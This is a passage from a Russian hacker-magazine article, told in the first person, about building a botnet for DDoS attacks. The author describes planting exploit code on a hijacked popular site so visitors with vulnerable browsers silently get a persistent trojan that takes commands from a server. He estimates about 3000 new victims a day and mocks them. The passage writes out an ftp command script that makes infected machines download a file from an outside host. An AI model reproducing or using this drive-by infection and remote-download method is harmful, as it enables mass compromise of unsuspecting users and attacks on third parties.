DDoS в картинках

Федор Михайлович

Хакер, номер #070, стр. 070-078-4

После того, как я отредактировал нужным образом код эксплойта, я выбрал один из своих поломанных сайтов и изменил главную страницу, вставив злой код. Хотя сплоит и палит свою работу, пользователи не увидят ничего подозрительного и продолжат юзать популярный ресурс. А в это время в чреве windows будут происходить необратимые процессы: загрузиться и выполниться наш троян, который надежно пропишется в системе. После перезагрузки он подключится к серверу, получит команду и начнет ее методично выполнять. Теперь оставалось только ждать, пока затроянится достаточное количество пользователей. По моим расчетам, примерно 20% посетителей используют уязвимые браузеры и являются моими клиентами. Это не так уж и мало, если вдуматься: в день сайт посещало примерно 15000 юзеров, получалось, что за сутки к моей армии должно прибавляться примерно 3000 бойцов.

Готовимся к атаке

Сейчас настало время сделать небольшую паузу и рассказать о том, как, собственно, управлять ботами. В самом деле, какие команды понимают наши бойцы? Тут все просто:

* cmd команда – выполняет команду для стандартного интерпретатора Windows. Например, можно заставить машину скачать из инета любой файл. Для этого необходимо составить простенький сценарий для ftp-клиента и соединиться с узлом, используя этот скрипт:

echo login> 1.cmd

echo passwd> > 1.cmd

echo GET file.exe> > 1.cmd

ftp –s:1.cmd ftp.host.ru

* Так же можно повеселиться над затрояненными чуханами, выводя им на экран забавные сообщения. Для этого надо в файл с командой поместить следующее предложение: